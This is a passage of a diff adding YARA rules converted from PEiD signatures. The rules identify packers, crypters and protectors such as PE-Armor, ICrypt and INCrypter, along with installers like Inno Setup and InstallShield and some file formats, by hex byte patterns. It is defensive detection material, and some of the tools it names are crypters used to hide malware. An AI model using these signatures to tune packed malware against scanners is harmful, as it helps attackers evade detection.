+    strings:
+        $a = {E8 00 00 00 00 5D 83 ED 05 6A 00 FF 95 E1 0E 00 00 89 85 85 0E 00 00 8B 58 3C 03 D8 81 C3 F8 00 00 00 80 AD 89 0E 00 00 01 89 9D 63 0F 00 00 8B 4B 0C 03 8D 85 0E 00 00 8B 53 08 80 BD 89 0E 00 00 00 75 0C 03 8D 91 0E 00 00 2B 95 91 0E 00 00 89 8D 57 0F 00 00 89 95 5B 0F 00 00 8B 5B 10 89 9D 5F 0F 00 00 8B 9D 5F 0F 00 00 8B 85 57 0F 00 00 53 50 E8 B7 0B 00 00 89 85 73 0F 00 00 6A 04 68 00 10 00 00 50 6A 00 FF 95 E9 0E 00 00 89 85 6B 0F 00 00 6A 04 68 00 10 00 00 68 D8 7C 00 00 6A 00 FF 95 E9 0E 00 00 89 85 6F 0F 00 00 8D 85 67 0F 00 00 8B 9D 73 0F 00 00 8B 8D 6B 0F 00 00 8B 95 5B 0F 00 00 83 EA 0E 8B B5 57 0F 00 00 83 C6 0E 8B BD 6F 0F 00 00 50 53 51 52 56 68 D8 7C 00 00 57 E8 01 01 00 00 8B 9D 57 0F 00 00 8B 03 3C 01 75}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00891_hmimys_Packer_1_0____hmimys_
+{
+    meta:
+        description = "[hmimys-Packer 1.0 -> hmimys]"
+        ep_only = "false"
+    strings:
+        $a = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00892_hmimys_Packer_1_0____hmimys_
+{
+    meta:
+        description = "[hmimys-Packer 1.0 -> hmimys]"
+        ep_only = "false"
+    strings:
+        $a = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07}
+    condition:
+        $a
+}
+rule PEiD_00893_hmimys_Packer_1_0_
+{
+    meta:
+        description = "[hmimys-Packer 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BA 00 00 00 03 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00894_HPA_
+{
+    meta:
+        description = "[HPA]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 8B D6 83 ?? ?? 83 ?? ?? 06 0E 1E 0E 1F 33 FF 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+/*
+rule PEiD_00895_HQR_data_file_
+{
+    meta:
+        description = "[HQR data file]"
+        ep_only = "false"
+    strings:
+        $a = {48 00 00 00 ?? 02 00 00 ?? ?? 00 00 ?? ?? 00 00}
+    condition:
+        $a
+}
+
+*/
+
+rule PEiD_00896_hying_s_PE_Armor____hying_CCG_
+{
+    meta:
+        description = "[hying's PE-Armor -> hying[CCG]"
+        ep_only = "true"
+    strings:
+        $a = {E8 AA 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00897_Hying_s_PE_Armor_0_75_exe____Hying__CCG_
+{
+    meta:
+        description = "[Hying's PE-Armor 0.75.exe -> Hying [CCG]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00 00 00 00 84 ?? ?? ?? 74 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00 5D 81 ED D7 00 00 00 8D B5 EE 00 00 00 55 56 81 C5 ?? ?? 00 00 55 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00898_Hying_s_PE_Armor_0_75_exe____Hying__CCG__
+{
+    meta:
+        description = "[Hying's PE-Armor 0.75.exe -> Hying [CCG]]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00899_Hying_s_PE_Armor_0_75_exe____Hying_
+{
+    meta:
+        description = "[Hying's PE-Armor 0.75.exe -> Hying]"
+        ep_only = "false"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75}
+    condition:
+        $a
+}
+
+rule PEiD_00900_Hying_s_PE_Armor_0_76____Hying__CCG_
+{
+    meta:
+        description = "[Hying's PE-Armor 0.76 -> Hying [CCG]"
+        ep_only = "false"
+    strings:
+        $a = {01 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 56 69 72 74 75 61 6C 46 72 65 65 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 61 ?? ?? ?? 59 ?? ?? ?? ?? 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 8D ?? ?? ?? ?? 00 00 00 00 00 00 00 9D ?? ?? ?? 8D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00 5D 81 ED F0 00 00 00 8D B5 07 01 00 00 55 56 81 C5 ?? ?? ?? ?? 55 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00901_hying_s_PEArmor_V0_76____hying_
+{
+    meta:
+        description = "[hying's PEArmor V0.76 -> hying]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A ?? E8 A3 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00902_IBM_PictureMaker_graphics_file_
+{
+    meta:
+        description = "[IBM PictureMaker graphics file]"
+        ep_only = "false"
+    strings:
+        $a = {00 ?? C1 ?? 00 ?? ?? ?? ?? 02 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_00903_ICrypt_1_0___by_BuGGz_
+{
+    meta:
+        description = "[ICrypt 1.0 - by BuGGz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 70 3B 00 10 E8 3C FA FF FF 33 C0 55 68 6C 3C 00 10 64 FF 30 64 89 20 6A 0A 68 7C 3C 00 10 A1 50 56 00 10 50 E8 D8 FA FF FF 8B D8 53 A1 50 56 00 10 50 E8 0A FB FF FF 8B F8 53 A1 50 56 00 10 50 E8 D4 FA FF FF 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00904_ICrypt_1_0___by_BuGGz_
+{
+    meta:
+        description = "[ICrypt 1.0 - by BuGGz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 70 3B 00 10 E8 3C FA FF FF 33 C0 55 68 6C 3C 00 10 64 FF 30 64 89 20 6A 0A 68 7C 3C 00 10 A1 50 56 00 10 50 E8 D8 FA FF FF 8B D8 53 A1 50 56 00 10 50 E8 0A FB FF FF 8B F8 53 A1 50 56 00 10 50 E8 D4 FA FF FF 8B D8 53 E8 D4 FA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 64 56 00 10 E8 25 F6 FF FF B8 64 56 00 10 E8 13 F6 FF FF 8B CF 8B D6 E8 E6 FA FF FF 53 E8 90 FA FF FF 8D 4D EC BA 8C 3C 00 10 A1 64 56 00 10 E8 16 FB FF FF 8B 55 EC B8 64 56 00 10 E8 C5 F4 FF FF B8 64 56 00 10 E8 DB F5 FF FF E8 56 FC FF FF 33 C0 5A 59 59 64 89 10 68 73 3C 00 10 8D 45 EC E8 4D F4 FF FF C3 E9 E3 EE FF FF EB F0 5F 5E 5B E8 4D F3 FF FF 00 53 45 54 ?? ?? ?? ?? 00 FF FF FF FF 08 00 00 00 76 6F 74 72 65 63 6C 65}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00905_ID_Application_Protector_V1_2____ID_Security_Suite___Sign_by_fly_
+{
+    meta:
+        description = "[ID Application Protector V1.2 -> ID Security Suite ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F2 0B 47 00 B9 19 22 47 00 81 E9 EA 0E 47 00 89 EA 81 C2 EA 0E 47 00 8D 3A 89 FE 31 C0 E9 D3 02 00 00 CC CC CC CC E9 CA 02 00 00 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 6F 66 74 57 61 72 65 50 72 6F 74 65 63 74 6F 72 5C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00906_ILUCRYPT_v4_015__exe_
+{
+    meta:
+        description = "[ILUCRYPT v4.015 [exe]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC FA C7 46 F7 ?? ?? 42 81 FA ?? ?? 75 F9 FF 66 F7}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00907_iLUCRYPT_v4_018__exe_
+{
+    meta:
+        description = "[iLUCRYPT v4.018 [exe]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC FA C7 ?? ?? ?? ?? 4C 4C C3 FB BF ?? ?? B8 ?? ?? 2E ?? ?? D1 C8 4F 81}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00908_Img_Software_Set_graphics_file_
+{
+    meta:
+        description = "[Img Software Set graphics file]"
+        ep_only = "false"
+    strings:
+        $a = {53 43 4D 49 20 20 20 31 41 54}
+    condition:
+        $a
+}
+
+rule PEiD_00909_IMP_Packer_1_0____Mahdi_Hezavehi__IMPOSTER_
+{
+    meta:
+        description = "[IMP-Packer 1.0 -> Mahdi Hezavehi [IMPOSTER]"
+        ep_only = "false"
+    strings:
+        $a = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+    condition:
+        $a
+}
+
+rule PEiD_00910_IMP_Packer_1_0____Mahdi_Hezavehi__IMPOSTER__
+{
+    meta:
+        description = "[IMP-Packer 1.0 -> Mahdi Hezavehi [IMPOSTER]]"
+        ep_only = "false"
+    strings:
+        $a = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+    condition:
+        $a
+}
+
+rule PEiD_00911_IMPostor_Pack_1_0____Mahdi_Hezavehi_
+{
+    meta:
+        description = "[IMPostor Pack 1.0 -> Mahdi Hezavehi]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? 00 83 C6 01 FF E6 00 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? 02 ?? ?? 00 10 00 00 00 02 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00912_Inbuild_v1_0__hard_
+{
+    meta:
+        description = "[Inbuild v1.0 [hard]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? BB ?? ?? 2E ?? ?? 2E ?? ?? 43 E2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00913_INCrypter_0_3__INinY____by_z3e_NiFe_
+{
+    meta:
+        description = "[INCrypter 0.3 (INinY) - by z3e_NiFe]"
+        ep_only = "true"
+    strings:
+        $a = {60 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8D 58 20 C7 03 00 00 00 00 E8 00 00 00 00 5D 81 ED 4D 16 40 00 8B 9D 0E 17 40 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 83 F8 01 75 05 03 DB C1 CB 10 8B 8D 12 17 40 00 8B B5 06 17 40 00 51 81 3E 2E 72 73 72 74 65 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00914_INCrypter_0_3__INinY____by_z3e_NiFe_
+{
+    meta:
+        description = "[INCrypter 0.3 (INinY) - by z3e_NiFe]"
+        ep_only = "false"
+    strings:
+        $a = {60 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8D 58 20 C7 03 00 00 00 00 E8 00 00 00 00 5D 81 ED 4D 16 40 00 8B 9D 0E 17 40 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 83 F8 01 75 05 03 DB C1 CB 10 8B 8D 12 17 40 00 8B B5 06 17 40 00 51 81 3E 2E 72 73 72 74 65 8B 85 16 17 40 00 E8 23 00 00 00 8B 85 1A 17 40 00 E8 18 00 00 00 8B 85 1E 17 40 00 E8 0D 00 00 00 8B 85 22 17 40 00 E8 02 00 00 00 EB 18 8B D6 3B 46 0C 72 0A 83 F9 01 74 0B 3B 46 34 72 06 BA 00 00 00 00 C3 58 83 FA 00 75 1A 8B 4E 10 8B 7E 0C 03 BD 02 17 40 00 83 F9 00 74 09 F6 17 31 0F 31 1F 47 E2 F7 59 83 C6 28 49 83 F9 00 75 88 8B 85 0A 17 40 00 89 44 24 1C 61 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00915_Inno_Installer_v5_1_2_
+{
+    meta:
+        description = "[Inno Installer v5.1.2]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB DC 1E 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 50 00 00 68 D8 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_00916_Inno_Setup_Module_v1_09a_
+{
+    meta:
+        description = "[Inno Setup Module v1.09a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 C4 89 45 C0 E8 A7 7F FF FF E8 FA 92 FF FF E8 F1 B3 FF FF 33 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00917_Inno_Setup_Module_v1_2_9_
+{
+    meta:
+        description = "[Inno Setup Module v1.2.9]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 EC 89 45 C0 E8 5B 73 FF FF E8 D6 87 FF FF E8 C5 A9 FF FF E8 E0}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00918_Inno_Setup_Module_v2_0_18_
+{
+    meta:
+        description = "[Inno Setup Module v2.0.18]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 73 71 FF FF E8 DA 85 FF FF E8 81 A7 FF FF E8 C8}
+    condition:
+        $a
+}
+
+rule PEiD_00919_Inno_Setup_Module_v3_0_4_beta_v3_0_6_v3_0_7_
+{
+    meta:
+        description = "[Inno Setup Module v3.0.4-beta/v3.0.6/v3.0.7]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 B3 70 FF FF E8 1A 85 FF FF E8 25 A7 FF FF E8 6C}
+    condition:
+        $a
+}
+
+rule PEiD_00920_Inno_Setup_Module_
+{
+    meta:
+        description = "[Inno Setup Module]"
+        ep_only = "true"
+    strings:
+        $a = {49 6E 6E 6F 53 65 74 75 70 4C 64 72 57 69 6E 64 6F 77 00 00 53 54 41 54 49 43}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00921_Inno_Setup_Module_
+{
+    meta:
+        description = "[Inno Setup Module]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 ?? 89 45 ?? E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00922_Install_Stub_32_bit_
+{
+    meta:
+        description = "[Install Stub 32-bit]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 14 ?? 00 00 53 56 57 6A 00 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 29}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00923_InstallAnywhere_6_1____Zero_G_Software_Inc_
+{
+    meta:
+        description = "[InstallAnywhere 6.1 -> Zero G Software Inc]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00924_InstallAnywhere_6_1____Zero_G_Software_Inc_
+{
+    meta:
+        description = "[InstallAnywhere 6.1 -> Zero G Software Inc]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00925_InstallAnywhere_6_1____Zero_G_Software_Inc_
+{
+    meta:
+        description = "[InstallAnywhere 6.1 -> Zero G Software Inc]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00926_Installer_VISE_Custom_
+{
+    meta:
+        description = "[Installer VISE Custom]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00927_InstallShield_2000_
+{
+    meta:
+        description = "[InstallShield 2000]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 C4 ?? 53 56 57}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00928_InstallShield_3_x_Custom_
+{
+    meta:
+        description = "[InstallShield 3.x Custom]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 00 A0 40 00 68 34 76 40 00 50 64 89 25 00 00 00 00 83 EC 60 53 56 57 89 65 E8 FF 15 8C E3 40 00 A3 70 B1 40 00 33 C0 A0 71 B1 40 00 A3 7C B1 40 00 A1 70 B1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00929_InstallShield_Custom_
+{
+    meta:
+        description = "[InstallShield Custom]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 ?? ?? 41 00 8B F0 85 F6 75 08 6A FF FF 15 ?? ?? 41 00 8A 06 57 8B 3D ?? ?? 41 00 3C 22 75 1B 56 FF D7 8B F0 8A 06 3C 22 74 04 84 C0 75 F1 80 3E 22 75 15 56 FF D7 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00930_Interchange_Format_File__IFF___type_WVQA_
+{
+    meta:
+        description = "[Interchange Format File (IFF), type WVQA]"
+        ep_only = "false"
+    strings:
+        $a = {46 4F 52 4D ?? ?? ?? ?? 57 56 51 41 56 51 48 44}
+    condition:
+        $a
+}
+
+rule PEiD_00931_Interplay_s_MVE_file_
+{
+    meta:
+        description = "[Interplay's MVE file]"
+        ep_only = "false"
+    strings:
+        $a = {49 6E 74 65 72 70 6C 61 79 20 4D 56 45 20 46 69 6C 65 1A 00 1A}
+    condition:
+        $a
+}
+
+rule PEiD_00932_Ionic_Wind_Software_
+{
+    meta:
+        description = "[Ionic Wind Software]"
+        ep_only = "true"
+    strings:
+        $a = {9B DB E3 9B DB E2 D9 2D 00 ?? ?? 00 55 89 E5 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00933_iPB_Protect_0_1_3___0_1_7____forgot_
+{
+    meta:
+        description = "[iPB Protect 0.1.3 - 0.1.7 -> forgot]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00934_iPBProtect_0_1_3_
+{
+    meta:
+        description = "[iPBProtect 0.1.3]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78}
+    condition:
+        $a
+}
+
+rule PEiD_00935_iPBProtect_v0_1_3_
+{
+    meta:
+        description = "[iPBProtect v0.1.3]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78 C2 50 00 EB D3 5B F3 68 89 5C 24 48 5C 24 58 FF 8D 5C 24 58 5B 83 C3 4C 75 F4 5A 8D 71 78 75 09 81 F3 EB FF 52 BA 01 00 83 EB FC 4A FF 71 0F 75 19 8B 5C 24 00 00 81 33 50 53 8B 1B 0F FF C6 75 1B 81 F3 EB 87 1C 24 8B 8B 04 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 58 EB FF F0 EB FF C0 83 E8 FD EB FF 30 E8 C9 00 00 00 89 E0 EB FF D0 EB FF 71 0F 83 C0 01 EB FF 70 F0 71 EE EB FA EB 83 C0 14 EB FF 70 ED 71 EB EB FA FF 83 C0 FC EB FF 70 ED 71 EB EB FA 0F 83 C0 F8 EB FF 70 ED 71 EB EB FA FF 83 C0 18 EB FF 70}
+    condition:
+        $a
+}
+
+rule PEiD_00936_IProtect_1_0__Fxlib_dll_mode____by_FuXdas_
+{
+    meta:
+        description = "[IProtect 1.0 (Fxlib.dll mode) - by FuXdas]"
+        ep_only = "true"
+    strings:
+        $a = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 4C 69 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED 71 10 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 63 10 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00937_IProtect_1_0__Fxlib_dll_mode____by_FuXdas_
+{
+    meta:
+        description = "[IProtect 1.0 (Fxlib.dll mode) - by FuXdas]"
+        ep_only = "true"
+    strings:
+        $a = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 4C 69 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED 71 10 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 63 10 40 00 8D 85 3C 10 40 00 50 FF B5 63 10 40 00 E8 92 00 00 00 0B C0 74 13 89 85 5F 10 40 00 8D 85 49 10 40 00 50 FF 95 5F 10 40 00 8B 85 67 10 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 FA FD FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00938_IProtect_1_0__FxSub_dll_mode____by_FuXdas_
+{
+    meta:
+        description = "[IProtect 1.0 (FxSub.dll mode) - by FuXdas]"
+        ep_only = "true"
+    strings:
+        $a = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 53 75 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED B6 13 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 A8 13 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00939_IProtect_1_0__FxSub_dll_mode____by_FuXdas_
+{
+    meta:
+        description = "[IProtect 1.0 (FxSub.dll mode) - by FuXdas]"
+        ep_only = "true"
+    strings:
